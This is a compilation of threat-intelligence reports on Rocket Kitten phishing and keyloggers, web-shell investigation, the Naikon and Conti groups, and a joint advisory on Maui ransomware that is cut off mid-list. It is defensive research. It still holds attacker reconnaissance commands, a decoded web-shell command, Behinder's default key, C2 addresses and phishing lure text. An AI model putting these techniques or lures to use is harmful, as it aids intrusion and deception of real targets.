private email addresses and other accounts rather than their organizational ones. This is a clever move, taking advantage of their lack of peripheral protection at home as opposed to in an organizational setting where monitoring systems are in place and security personnel can help as soon as alarms go off. Now, the attackers very well know that while in theory, work and private lives are completely separate; in the real world, people use personal cloud services (Gmail, Google Drive, Yahoo!, etc.) and personal devices (home computers) to store and share work-related content. What this constellation creates for the attackers is a blissful chain reaction. First, they can gain access to professional, work-related information by attacking and infecting unprotected, nonorganizational access points. By extension, they are also able to use now-infected personal devices or accounts to breach organizational computers and networks. ### Infection vectors and malicious applications **Social engineering and spear phishing** Rocket Kitten primarily infects systems via spear phishing. They send spear-phishing emails, sometimes paired with social engineering techniques, to targets. They basically rely on psychological manipulation in order to convince targets that they are who they claim to be. As an added layer—to make emails even more credible—they use stolen documents that in the victims’ mind should “prove” their identity and mission. Rocket Kitten targets primary victims but also secondary ones that they steal content from to reuse to spear-phish primary targets. One interesting incident involves compromising the email account of a famous Israeli engineer to get nonpublic documents from him. These were then used to more convincingly mimic the engineer in order to get to primary targets within his professional circle. As previously mentioned, Rocket Kitten will keep trying to hit targets and won’t rest until they do. This can mean receiving the same email five or ten times, perhaps with slightly different words, prompting receivers to click fatal links. If one method or email content does not work, the attackers will resort to different wording. Rocket Kitten, in this sense, is not only persistent but also very agile. The attackers: - Keep finding new cover stories by making them up based on stolen information - Use various email addresses (faked or breached) - Use disguises (fake identities or usurped real ones), camouflaging as people others theoretically trust - Make phone calls and send messages, sometimes even directly corresponding with victims in order to gain genuine trust - Breach websites to set up phishing pages (Google Drive or fake Gmail pages) or register new domains solely for phishing In a case we analyzed, for example, one of the targets sent a message back in Hebrew, asking if the email was real. The attackers responded right away, also in Hebrew, confirming the email’s authenticity. This convinced the targets to open the attached files. ### Fake profiles: A case One of Rocket Kitten’s targets was lured into communicating via a fake Facebook profile. The attacker behind the fake profile communicated in perfect Farsi. This fake profile was closed by Facebook because it did not conform to community standards. This prompted the attacker to just create a new account where “xxx” is a random number. While we found no evidence that these Facebook accounts were actually handled by the Rocket Kitten Group, the conversations and additional emails from a sender with the same name strongly suggest this was indeed performed by the threat actors. The target also received emails from a Yahoo account. This account’s owner attempts to build trust and/or gather information. Incidentally, this new fake Facebook profile also sent an invite request to one of ClearSky’s researchers, which we will go into detail later on. In our experience, this is something that very rarely happens. One more backdoor installer was found in the wild. This also communicated with a C&C server and usurped Trend Micro HouseCall. We found no traces of this backdoor installer in any spear-phishing campaign but it may have been used by the attackers to infect the systems of targets that we are not aware of. We just found it noteworthy that this installer has the same functions and uses the same C&C server. ### Malware used Rocket Kitten’s entire way of launching attacks suggests that the group is not very technically sophisticated. The same is true about the malware they utilize. Closer analysis of their code showed deficits and mistakes that a professional cybercriminal would not make (the keylogger was badly developed and easily leaked their File Transfer Protocol credentials, for example). Modifying an existing piece of commercial code like that of Core Impact Pro did not require a lot of skill as well. Most of the malware they use may not have been developed by the group’s members. The threat actors used off-the-shelf and low-quality tools that seem to have been self-developed or made by someone for their exclusive use. The malware used to infect computers often showcased many extra features like stealth (once a payload is placed in memory, any trace of the malware on the file system is erased). A more detailed analysis of the different malware types is provided in the next chapters where we look at one specific tool (a keylogger named TSPY_WOOLERG) and analyzed malicious files used in new cases. ### A new version of TSPY_WOOLERG emerges In Operation Woolen-Goldfish, Trend Micro revealed the existence of a previously unknown keylogger dubbed “TSPY_WOOLERG.” This seems to have been developed by the Rocket Kitten Group or bought for exclusive use from a third party. This keylogger showed the following debug string in its first-seen version: C:\Users\Wool3n.H4t\Documents\Visual Studio 2010\Projects\C-CPP\CWoolger\Release\CWoolger.pdb We discovered a new TSPY_WOOLERG version in the wild and found different variants containing the following debug strings: - D:\Yaser Logers\optimizer\WoolenLoger\obj\x86\Release\windows optimizer.pdb - D:\Yaser Logers\optimizer tmp\WoolenLoger\obj\x86\Release\windows optimizer.pdb - D:\Yaser Logers\CWoolger\Release\CWoolger.pdb “Yaser” is a very common Arab first name. We couldn’t find other malware families with similar debug strings. We suspect Yaser to be a developer who is part of the Rocket Kitten Group or from a third party whom the group may have purchased the keylogger from. Yaser could also be the same person as “Wool3n.H4t” whom we exposed in Operation Woolen-Goldfish since the previous debug strings showed that a Wool3n.H4t was also in possession of the CWoolger source code. It could, of course, also simply be fake information that attackers intentionally put there to lead us to a false track. The new binaries we found were compiled between 31 May and 1 August 2015. The keylogger is basically the same, yet a very basic layer of encryption has been added to hide the attackers’ FTP credentials. The FTP server to which the stolen key logs are sent is currently set to 107.6.172.54/woolen/. Previous versions of the keylogger also reported to the IP address, 107.6.181.116, which belongs to the same provider, SingleHop. We noticed that some versions of the keylogger have had the upload function removed. Instead, another binary in the same folder that was externally executed was added. ### New TSPY_WOOLERG variants The newest versions based on compilation date do not have credentials. This suggests that CWoolger is continuously being developed, not for updating purposes or adding functionality but rather to enhance stealth so they will not be detected by security products. ## Rocket Kitten in action: New attack cases ### Case exploiting a ClearSky researcher’s identity We made an interesting observation in one particular case where the attackers attempted to approach a ClearSky threat researcher using a fake Facebook profile. When this attempt didn’t work, they resorted to other techniques. In the latter part of this June, the researcher received a phone call from another attack target whom he had been in contact with during the Thamar Reservoir investigation. This other person wanted to confirm if the researcher indeed sent him an email (which he actually never did). This is just another example of the clever use of social engineering that the Rocket Kitten Group adopted to go after targets. Usurping a threat researcher’s identity is something we haven’t seen until now. But it tells us a back story. The attackers may either have had access to an email account revealing correspondence between the researcher and the victim or they realized that they were being investigated by ClearSky and exploited that knowledge. The attackers used the researcher’s real email signature as camouflage in order to send this legitimate-sounding content to the victim: **New Message** **Malware Investigation; Final step** Hi xxx, As per our previous conversations about virus found in your center, try to scan your computers with this online antivirus. It is from Trend Micro security company and can quickly identify and fix a wide range of threats including viruses, worms, Trojans, spyware and the recent malware: trend micro Housecall Launcher Simply download and run the file and after updating, let it scan your computer. Regards, xxx ### Technical analysis In this particular case, we can’t reveal the victim’s name or any other specific circumstances but we did find some noteworthy technical details, including: - The email was sent using the address, [email protected], which is obviously not an official ClearSky address that the attackers created. Attentive recipients should realize that the important information here lies in the address domain—a Gmail address—but very often, they tend to intuitively only react to the first part of the name that indicates some kind of security problem with their machines. - The first link in the email, “Trend Micro security,” actually leads to the real Trend Micro website. - The second link that the recipients are supposed to click in order to download HouseCall, however, leads to a malicious file (HousecallLauncher.exe). - The attackers’ choice to use the Trend Micro brand as lure raised a red flag. It could have either been a purely random choice or a very cleverly chosen one. Knowing that Trend Micro investigated on their operations, they could have utilized this fact to create a false sense of security and trust with victims who would probably believe it safe to download the vendor’s product. Perhaps this is also a payback for revealing details on one of their operations. - The malicious file (HousecallLauncher.exe) is a Flex-compressed .SFX file with a lot of obfuscation and anti-debugging code. It has three embedded files, namely: - Data.ini: Only contains a path to the actual file. - FILE1: An official Trend Micro HouseCall launcher binary. - FILE2: The actual malicious payload—a Meterpreter stager. - When the .SFX file is executed, the payload is placed and ran in memory. No traces are left in the file system, rendering detection rather difficult. - It accesses the same IP address (84.11.146.62), which belongs to IABG in Germany. This service provider has already been used in previous Rocket Kitten operations. The malware obfuscates every application programming interface string in its body (using a simple XOR operation with the value, 0xC4h). It also very carefully obfuscates its strings after use. ## Conclusion The Rocket Kitten Group has been around for a while now. Based on research done by several security companies, including Trend Micro and ClearSky, we can assume that their activities will continue in the near future, as they weren’t deterred by making their existence and attack methods known. We’ve been observing the group for about a year now. The more information we gather about their tactics and methods, the more we are convinced that what we are facing is a group of resourceful and persistent actors. Rocket Kitten doesn’t need sophisticated skills. The infection vectors that the group uses are very simple. The malware they use are mostly purchased from third parties. But these shouldn’t fool anyone into thinking they’re less difficult to deal with. Rocket Kitten makes up for their shortcomings by being extremely persistent and agile. The cases we analyzed in this paper show that careful planning and creativity are involved when they attempt to gain access to and gain a foothold in a target. Targeted attacks are not only used for economic advancement via stealing. Rather, they should be considered an evolution of the tradecraft of classic espionage, even in geopolitical relations. ## General safety measures against targeted attacks - Be vigilant; share information. First, be vigilant. The second has to do with information sharing. If you think or know that you are being targeted, it helps to be familiar with and conscious of the attackers’ modus operandi. Therefore, examining emails, websites, and other forms of communication can help you identify threats and avoid infection. Ask questions like “Do you know the sender?”; “Is this his address?”; and “Does it make sense for him to use or send macros?” When attack targets share information with colleagues, friends, and family members, the attackers have a harder time fooling them. And if security analyses are available to investigate suspicious emails, files, and websites, it is even more crucial to share information. This helps you understand their tools and methods, technical infrastructure, targets, and, perhaps, even their aims and objectives. - Seek specialists’ assistance in case of an attack. Even if you know that you are being attacked, you still need professional guidance from specialists who can analyze incidents and provide real-time assistance. This is even more significant if attacks succeed. For example, attackers may execute numerous password-reset attempts at the same time, making you believe you’re losing control of your accounts. Without professional guidance, you can make a mistake like give your credentials to an attacker, click a malicious link, or even neglect to inform your service provider that account restoration should be canceled. The usual initial reaction to receiving suspicious messages is to delete them. However, reporting suspicious messages to your organization’s security team is crucial so they can analyze attack methods, assess risks, and identify malicious content. - Regularly and timely update software. We can never repeat this enough—OSs and installed software must be constantly updated with security fixes. - Use up-to-date anti-malware solutions and Host Intrusion Prevention Systems (HIPSs). These software help detect threats. - Regularly run network checks. If you run a network, regularly check log files or have them checked by a security professional. This will help you discover malicious communication with attackers and C&C servers. ## Specific measures related to Rocket Kitten - Pay close attention to senders’ addresses even if they seem familiar. The fact that a message is part of a previous conversation does not mean that it is authentic (it could be an indication that the attacker took control of someone else’s account). We have already seen email addresses with minor changes used (one different letter in the address or domain and therefore seem identical at first sight). - Do not enter your password on pages you were led to by links embedded in emails. It’s always better to manually type desired domain addresses, search for them on Google, or use bookmarked links. - Inform acquaintances about attacks. They can become targets as well. - Known and “trusted” websites can be hacked and used as part of an attack infrastructure. Never automatically trust any website. Always closely check websites and messages and look for unreasonable mistakes (grammar, typos, etc.). - Immediately report suspicious incidents. You may not have adequate professional knowledge and understanding of an attack. Therefore, it is vital to notify your organization’s cybersecurity team of any suspicious incident. An example of this is receiving Facebook messages asking you to reset your password or informing you of unauthorized access to your email account from an unknown user. - Always flag macro-laden files as “very suspicious.” Report them to your security team except if you regularly work with macros. Asking you to “Enable Content” is very suspicious. While IT and security professionals immediately understand what the message means, most users don’t. Nonetheless, you should become familiar with this specific message (which is almost always suspicious), as opposed to the “Protected View” message that doesn’t imply if opening a file is safe or unsafe.
# Investigating Web Shells A web shell is an internet-accessible malicious file implanted in a victim web server’s file system that enables an attacker to execute commands by visiting a web page. Once placed on a compromised web server, it allows an attacker to perform remote command execution to the operating system running on the host machine. The web shell provides the attacker with a form of persistence in the compromised system and the potential to further pivot through the network to compromise hosts and data that may not otherwise be externally accessible. Success of a targeted cyber attack is often directly related to the efficacy of the initial access to the victim’s environment and how well it can be leveraged. Threat groups who establish their initial access through the exploitation of a web application vulnerability often opt to use web shells to further facilitate their ability to operate efficiently within the context of the foothold system. In this article, we will look at common web shell functionality, encryption, and obfuscation techniques, as well as several web shell management frameworks. Next, we will explore detection and investigation opportunities, followed by an example of reversing the obfuscation or encryption scheme of an example web shell. Finally, we will discuss proactive infrastructure protection measures that reduce the likelihood of successful web shell activity against managed systems. ## Web Shell Functionality Many web application programming languages implement functions such as `exec()`, `eval()`, `system()`, and `os()`, or process strings as syntax with special characters (such as “`”, or backtick, in the case of PHP) that can be used to execute system commands. In cyber attacks, threat groups abuse this functionality by smuggling these default functions and commands via web shells, allowing for remote tasking and code execution. The scope and breadth of code execution are arbitrary and only limited by the capabilities of the underlying victim server operating system shell. Some of the common post-installation reconnaissance commands that attackers initially use include: - `whoami` - `netstat` - `ip route` or `route print` - `ls –latr` or `dir` - `uname –a` or `systeminfo` - `ifconfig` or `ipconfig` This set of commands allows the attackers to get their bearings within the victim system and understand what kind of privileges are available from the perspective of the compromised server. Additionally, attackers gain the ability to discover what applications and data reside on the local file system and perform additional reconnaissance to determine their next action in relation to escalating access or moving laterally to another host. While attackers may opt to upload new files to the compromised web servers to enable web shell functionality, they may also append web shell functionality and code to an existing resource hosted on the server. An attacker may prefer this action to avoid raising potential suspicion in the event that file creation events are monitored. Complicating matters further, an attacker may identify a web application parameter that is already being used as input inside of one of these risky default functions (a web form or an interactive application), thereby facilitating web shell functionality without requiring the attacker to upload a backdoor to the victim server. While this approach has the downside of having the remote tasking input and output flowing across the network without any obfuscation (allowing for potential detection by monitoring services), this capability would be used briefly to graduate remote access to a more covert method. Web shell behavior is highly dependent on the configuration of the compromised web service. Rather than opening a new service on the network, like a traditional bind implant (which would be relatively simple to detect and alert on), web shells most often use the preexisting HTTP(S) service already hosted on the victim system to facilitate backdoor access. For example, if the web service is hosted on HTTP 80/TCP, the web shell will be accessible via HTTP 80/TCP. However, if the web service is hosted on HTTPS 443/TCP, the web shell will also use 443/TCP and inherit any existing SSL/TLS configuration, including using the legitimate victim web application SSL/TLS certificate and all associated metadata for connections flowing to the web shell. This is one of the reasons why web shells have the potential to go undetected for a longer duration compared to other types of implants. They are simply buried too deep in the daily HTTP noise. To avoid detection, threat actors rely on obfuscation techniques which are commonly chained together in order to hide the true functionality of the web shell. These techniques are often used in combination and include, but are not limited to: - String rotations - Array segmentation - Hex encoding - Base64 encoding - Compression - Whitespace removal Many web shells observed in the wild also encrypt the remote command input and output through hard-coded pre-shared keys. While code obfuscation or encryption isn’t a new concept in the context of cyber attacks, it introduces an additional layer of challenge when it comes to detecting and investigating web shell implants. ## Web Shell Management Frameworks The desire to enhance and automate tradecraft has led to the development of various fully featured web shell management frameworks alongside continuous improvements and automation functionality. | Web Shell Framework | Source | |---------------------|--------| | AntSword | https://github.com/AntSwordProject/antSword | | Behinder | https://github.com/rebeyond/Behinder | | Godzilla | https://github.com/BeichenDream/Godzilla | While some frameworks are relatively simple scripts, others come with a myriad of functionality, ease-of-use elements, and modular capabilities. This makes web shells extremely potent as a threat vector and provides attackers with a multitude of options during their attack. If the attack objective requires access to other systems beyond the compromised web server, the attacker can use the web shell to relay subsequent interactions to other systems of interest. To increase the pace of killchain execution, an attacker may use the web shell to establish SOCKS tunneling capabilities that can facilitate subsequent access to specific networked applications and resources internal to the organization. ## Detection and Investigation In previous sections, we discussed how input provided during an HTTP client request can contain malicious instructions. Therefore, a key element of network-based web shell detection is to identify the presence of operating system commands associated with administrative/situational awareness operations within the contents of inbound web traffic flows. There are several inherent challenges in detecting and investigating web shells that analysts should be aware of. The heavy use of layered obfuscation techniques can evade static signature-based detections with relative ease while also making it challenging for the analysts to perform manual analysis on PCAPs and web logs. Additionally, web shells are passive implants and don’t require regular “keep-alives” with the C2 infrastructure, further avoiding pattern-based detection mechanisms. To increase probability and confidence in web shell detection efforts, analysts should look for a combination of potentially suspicious sets of events relating to inbound HTTP(S) flows. For example, tracking access attempts to specific web pages without valid referrers or historic precedents, unique or never-before-seen user agents, or anomalous GET/POST requests flowing to a web server without a corresponding set of prior activity. Web shell detection techniques greatly benefit from statistical and anomaly-based analytics. To enable this effort, an organization must first gain comprehensive visibility into web traffic patterns and build a baseline of aggregated network traffic flows. In this case specifically, HTTP traffic and associated telemetry is key to detecting anomalies which could potentially correspond to web shell interaction by comparing expected inputs (baseline data) versus abuse of dynamic content on a web application. When used in conjunction with an understanding of adversary techniques and operations, powerful, intelligence-informed models can flag potential web shell activity in victim networks. Another approach involves tracking each unique URI observed within inbound flows, the theory being that if a web shell were to be planted onto an external facing asset into a net-new file, interaction with the web shell would transit using an endpoint or URI that had not previously existed and would be visited by less than a handful of source IP addresses over a set period of time. On the other hand, in cases where the attacker opts to implant web shell functionality to an existing file, the focus of the analysis should be on validating the contents of the existing files and cross-referencing them against URI traffic patterns to those resources. Analysts can also pivot on any identified source IP addresses associated with access to a previously unknown URI to determine if subsequent traffic remains limited to the suspected web shell URI or if there are other requests to legitimate pages on the destination server or other servers on the perimeter. ## Web Shell Deobfuscation When investigating suspected web shell implants and network traffic, analysts benefit from rapidly testing decryption schemes with the aid of tools such as Cyberchef. The following is an example of analysis of the default Behinder web shell template. Behinder web shell accepts attacker input from HTTP POST requests. Attacker input is shaped by the Behinder client to be a valid class written in the syntax of the target web server, in this case PHP. To recover attacker instructions from network traffic requires recovery of the hardcoded pre-shared key from the web shell script. In this case, the default AES key supplied by the source code is “e45e329feb5d925b” (first 16 characters of the MD5 hash of the “rebeyond” string). The contents are base64 encoded before being AES encrypted, so the string must be decoded prior to the encryption key being used. Deobfuscating the string reveals the arbitrary instructions passed to the server as a PHP class. Operator instructions to the web shell are encoded inside of the `$cmd` parameter. The value of the `cmd` parameter is base64 decoded before being evaluated. In the case of our example, the command “Y2QgL3Zhci93d3cvaHRtbC87d2hvYW1p” decodes to `cd /var/www/html/;whoami`. While obfuscation techniques can mask the contents of a script, in cases where TLS is not being used, the query responses from the server will be displayed in plain text via the web logs and PCAPs. To remain stealthy under these conditions, attackers opt to also encrypt their web shell responses using the same hardcoded pre-shared key. Successfully deobfuscating the script explains what the script is capable of. However, obtaining the pre-shared key can be further used to understand what input was issued and what output was produced from a compromised asset. This information can be leveraged in the event that a packet capture or HTTP application content logs of the event are generated and made available to the analysts. ## Proactive Infrastructure Protection In terms of web server hardening, there are a few measures that can be taken to limit the functionality of potentially implanted web shells. Web applications should avoid using dangerous operations and methods including, but not limited to: `exec()`, `eval()`, or `os()`, especially when processing user-provided input, such as form fields or cookies. Robust input validation and sanitization best practices, such as OWASP Proactive Control C5: Validate all Inputs, should be followed and implemented during the software development life cycle (SDLC), as well as validated periodically through recurring application security testing. Investigating potential and detecting actual web shell activity requires maturity within the security organization, including, but not limited to, timely access to: - An up-to-date, accurate hardware inventory - An up-to-date, accurate software inventory - Network traffic flow logs for traffic to and from any zone that hosts web applications and services - Web server logs Retention of web server logs for future analysis can especially be valuable in cases where the deployed network or security stack lacks SSL visibility. Due to the polymorphic nature of web shell scripts, blocking based on known-bad hashes/strings may be of limited effectiveness. Individual organizations may benefit more from deploying and baselining high-risk assets, including web servers, with file integrity monitoring (FIM) solutions. ## Conclusion Once an adversary achieves initial access to a web server, deploying one or multiple web shells has been observed to be a common next step in the attack lifecycle. Organizations can gain insight into potential web shell activity by analyzing highly available NetFlow data. The network profile of client interaction with a web server when searching for an attack vector is distinct from interaction with a web shell that has been successfully operationalized. These network profiles can be observed within network metadata regardless of the obfuscation and encryption schemes used by the attacker. Combining these investigative techniques alongside proactively employing infrastructure hardening measures, organizations can detect and eliminate web shell attacks in their earliest stages.
# Chinese Naikon Group Back with New Espionage Attack Chinese state-sponsored cyberespionage gang Naikon, aka Override Panda and Lotus Panda, has reappeared with a new phishing attack that aims to exfiltrate confidential information. The APT group was first tracked in 2010 and its infrastructure was first detected in 2015. ## Diving into details Cluster25 analyzed Lotus Panda and found that it used a spear-phishing email to deliver a Red team framework beacon, dubbed Viper. While the targets remain unknown, researchers surmise that it could be a government entity from a South Asian nation. ### Kill chain The spear-phishing email consists of a weaponized document pretending to be a call for tender. Two payloads are hidden in the document as document properties. Viper is described as a “graphical intranet penetration tool that modulates and enhances the tactics and techniques commonly used during intranet penetration.” It features more than 80 modules to expedite initial access, privilege escalation, credential access, persistence, arbitrary command execution, and lateral movement. The C2 server contains both Viper framework and ARL dashboards. ## Noteworthy attacks by Chinese hackers Cyberespionage group Moshen Dragon is targeting telcos in Central Asia. It is attempting to sideload malicious DLLs into antivirus solutions to move laterally, steal credentials, and exfiltrate sensitive information. APT10 or Cicada was found responsible for a long-term espionage campaign against Japanese entities. The activities continued from mid-2021 to February 2022. In March, the Mustang Panda APT was found using a new strain of PlugX RAT. Dubbed Hodur, the trojan is capable of multiple actions, such as collecting system details, executing commands, and reading and writing arbitrary files. ## The bottom line Override Panda’s TTPs indicate that it is conducting long-term espionage and intelligence operations. The group is infamous for targeting foreign officials and governments. The sectors targeted by Naikon are indicative of its intentions to infect ASEAN countries. The group has, furthermore, changed and evolved its TTPs over the years to minimize detection and maximize profits.
# Cybercrime Loves Company: Conti Cooperated with Other Ransomware Gangs Software developers often depend on the collective knowledge of the industry to build their products. Whether it's through reverse engineering, poaching talent, or straight-up cloning, developers lean on this collective knowledge to build operating systems, social media services, messaging applications, or many other kinds of software. Ransomware gangs are apparently no different. Thanks to the Conti Leaks, Intel 471 researchers found evidence that the Conti ransomware group kept a close eye on other ransomware groups and borrowed some of their techniques and best practices for its own operations. Additionally, Intel 471 observed the Conti group’s affiliates and managers cooperating with other gangs, including the LockBit, Maze, and Ryuk teams. From reworking encryption algorithms to copying sections of ransom notes, to using developers that worked on several different kinds of ransomware, Intel 471 found that Conti’s operations were powered by information gleaned from competitors. ## Ryuk The Conti and Ryuk ransomware strains have widely been attributed to the same group, with Ryuk likely serving as a predecessor to Conti. The metamorphosis of this strain has been debated for some time. Some research hypothesizes that Ryuk ransomware operators initially joined the Conti team as its own division to use TrickBot to distribute Ryuk, while others believe Conti was just a rework of Ryuk. However, the metamorphosis occurred, it’s clear from the Conti Leaks chats that top-level Conti operatives had direct access to actors who were behind Ryuk. Intel 471 researchers found conversations tied to one of Conti’s senior managers that contained multiple references to the group behind Ryuk. For example, on June 23, 2020, the senior manager discussed a Bleeping Computer article where researchers pointed at the Ryuk ransomware gang’s slowdown in operations. The manager told another top associate that the Ryuk gang’s operations would soon return to normal. On July 16, 2020, the two actors revealed their plans to use money earned from Ryuk ransomware campaigns to cover rent and other expenses. On Aug. 26, 2020, the two actors discussed compensation and recruitment issues pertaining to the Ryuk team. These chats show that high-level Conti managers were knowledgeable about Ryuk ransomware operations and most likely had direct access to the threat actors using it. ## Maze Intel 471 researchers found chats that revealed Conti’s alleged coder claimed to have copied features from Maze ransomware while developing Conti. On July 17, 2020, the head developer had a conversation with the senior manager, claiming to have changed Conti’s cryptographic algorithm from the AES-256 block cipher to the ChaCha20 stream cipher, which increased encryption speed. On July 8, 2020, another top developer communicated with the senior manager, claiming that a Maze ransomware developer provided access to the group’s administrative panel. Also, in early July 2020, Conti group members revealed they used Maze ransomware as a temporary stopgap while Conti was in development. A few weeks later, Conti was in steady use, becoming one of the most active ransomware strains in the latter half of the year. ## LockBit 2.0 Our researchers found that in November 2021, two high-level Conti managers discussed a partnership with LockBit 2.0. The two managers initially disagreed on the partnership’s details, later clarifying it in a leaked conversation. This conversation lines up with what a LockBit 2.0 representative shared on an underground forum in April 2022, where they admitted that they had been in contact with Conti representatives primarily due to interest in using TrickBot. ## Ragnar Locker On Sept. 27, 2021, Conti’s open-source intelligence (OSINT) team leader had a conversation that revealed he updated the group’s ransom note by copying a portion of the text from the Ragnar Locker ransom note. Ransomware gangs do not operate in a vacuum. While each gang wants to make as much money as possible, there is a level of cooperation and partnership that each gang uses to ultimately boost their ill-gotten gains. While legitimate companies are also profit-driven, they will often create partnerships or collaborate with each other as a way to be successful. Given all of the other ways ransomware gangs have followed a legitimate business model, it should not be surprising that they would strike accords or lean on each other to maximize their profits.
# North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector ## SUMMARY The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Department of the Treasury (Treasury) are releasing this joint Cybersecurity Advisory (CSA) to provide information on Maui ransomware, which has been used by North Korean state-sponsored cyber actors since at least May 2021 to target Healthcare and Public Health (HPH) Sector organizations. This joint CSA provides information—including tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs)—on Maui ransomware obtained from FBI incident response activities and industry analysis of a Maui sample. The FBI, CISA, and Treasury urge HPH Sector organizations as well as other critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA to reduce the likelihood of compromise from ransomware operations. Victims of Maui ransomware should report the incident to their local FBI field office or CISA. The FBI, CISA, and Treasury highly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. Note: in September 2021, Treasury issued an updated advisory highlighting the sanctions risks associated with ransomware payments and the proactive steps companies can take to mitigate such risks. Specifically, the updated advisory encourages U.S. entities to adopt and improve cybersecurity practices and report ransomware attacks to, and fully cooperate with, law enforcement. The updated advisory states that when affected parties take these proactive steps, Treasury’s Office of Foreign Assets Control (OFAC) would be more likely to resolve apparent sanctions violations involving ransomware attacks with a non-public enforcement response. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA. Disclaimer: the information in this joint Cybersecurity Advisory is provided "as is" for informational purposes only. The authors do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. ## TECHNICAL DETAILS Since May 2021, the FBI has observed and responded to multiple Maui ransomware incidents at HPH Sector organizations. North Korean state-sponsored cyber actors used Maui ransomware in these incidents to encrypt servers responsible for healthcare services—including electronic health records services, diagnostics services, imaging services, and intranet services. In some cases, these incidents disrupted the services provided by the targeted HPH Sector organizations for prolonged periods. The initial access vector(s) for these incidents is unknown. ### Maui Ransomware Maui ransomware (maui.exe) is an encryption binary. According to industry analysis of a sample of Maui (SHA256: 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e)—provided in Stairwell Threat Report: Maui Ransomware—the ransomware appears to be designed for manual execution by a remote actor. The remote actor uses command-line interface to interact with the malware and to identify files to encrypt. Maui uses a combination of Advanced Encryption Standard (AES), RSA, and XOR encryption to encrypt target files: 1. Maui encrypts target files with AES 128-bit encryption. Each encrypted file has a unique AES key, and each file contains a custom header with the file’s original path, allowing Maui to identify previously encrypted files. The header also contains encrypted copies of the AES key. 2. Maui encrypts each AES key with RSA encryption. Maui loads the RSA public (maui.key) and private (maui.evd) keys in the same directory as itself. 3. Maui encodes the RSA public key (maui.key) using XOR encryption. The XOR key is generated from hard drive information (\\.\PhysicalDrive0). During encryption, Maui creates a temporary file for each file it encrypts using GetTempFileNameW(). Maui uses the temporary file to stage output from encryption. After encrypting files, Maui creates maui.log, which contains output from Maui execution. Actors likely exfiltrate maui.log and decrypt the file using associated decryption tools. See Stairwell Threat Report: Maui Ransomware for additional information on Maui ransomware, including YARA rules and a key extractor. ### Indicators of Compromise See table 1 for Maui ransomware IOCs obtained from FBI incident response activities since May 2021. | Indicator Type | Value | |----------------|-------| | Filename | maui.exe | | | maui.log | | | maui.key | | | maui.evd | | | aui.exe | | MD5 Hash | 4118d9adce7350c3eedeb056a3335346 | | | 9b0e7c460a80f740d455a7521f0eada1 | | | fda3a19afa85912f6dc8452675245d6 | | | 2d02f5499d35a8dffb4c8bc0b7fec5c2 | | | c50b839f2fc3ce5a385b9ae1c05def3a | | | a452a5f693036320b580d28ee55ae2a3 | | | a6e1efd70a077be032f052bb75544358 | | | 802e7d6e80d7a60e17f9ffbd62fcbbeb | | SHA256 Hash | 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e | | | 45d8ac1ac692d6bb0fe776620371fca02b60cac8db23c4cc7ab5df262da42b78 | | | 56925a1f7d853d814f80e98a1c4890b0a6a84c83a8eded34c585c98b2df6ab19 | | | 830207029d83fd46a4a89cd623103ba2321b866428aa04360376e6a390063570 | | | 458d258005f39d72ce47c111a7d17e8c52fe5fc7dd98575771640d9009385456 | | | 99b0056b7cc2e305d4ccb0ac0a8a270d3fceb21ef6fc2eb13521a930cea8bd9f | | | 3b9fe1713f638f85f20ea56fd09d20a96cd6d288732b04b073248b56cdaef878 | | | 87bdb1de1dd6b0b75879d8b8aef80b562ec4fad365d7abbc629bcfc1d386afa6 | ## Attribution to North Korean State-Sponsored Cyber Actors The FBI assesses North Korean state-sponsored cyber actors have deployed Maui ransomware against Healthcare and Public Health Sector organizations. The North Korean state-sponsored cyber actors likely assume healthcare organizations are willing to pay ransoms because these organizations provide services that are critical to human life and health. Because of this assumption, the FBI, CISA, and Treasury assess North Korean state-sponsored actors are likely to continue targeting HPH Sector organizations. ## MITIGATIONS The FBI, CISA, and Treasury urge HPH Sector organizations to: - Limit access to data by deploying public key infrastructure and digital certificates to authenticate connections with the network, Internet of Things (IoT) medical devices, and the electronic health record system, as well as to ensure data packages are not manipulated while in transit from man-in-the-middle attacks. - Use standard user accounts on internal systems instead of administrative accounts, which allow for overarching administrative system privileges and do not ensure least privilege. - Turn off network device management interfaces such as Telnet, SSH, Winbox, and HTTP for wide area networks (WANs) and secure with strong passwords and encryption when enabled. - Secure personal identifiable information (PII)/patient health information (PHI) at collection points and encrypt the data at rest and in transit by using technologies such as Transport Layer Security (TLS). Only store personal patient data on internal systems that are protected by firewalls, and ensure extensive backups are available if data is ever compromised. - Protect stored data by masking the permanent account number (PAN) when it is displayed and rendering it unreadable when it is stored—through cryptography, for example. - Secure the collection, storage, and processing practices for PII and PHI, per regulations such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). Implementing HIPAA security measures can prevent the introduction of malware on the system. - Implement and enforce multi-layer network segmentation with the most critical communications and data resting on the most secure and reliable layer. - Use monitoring tools to observe whether IoT devices are behaving erratically due to a compromise. - Create and regularly review internal policies that regulate the collection, storage, access, and monitoring of PII/PHI. In addition, the FBI, CISA, and Treasury urge all organizations, including HPH Sector organizations, to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents. ### Preparing for Ransomware - Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses. - Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. - Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident. - Organizations should also ensure their incident response and communications plans include response and notification procedures for data breach 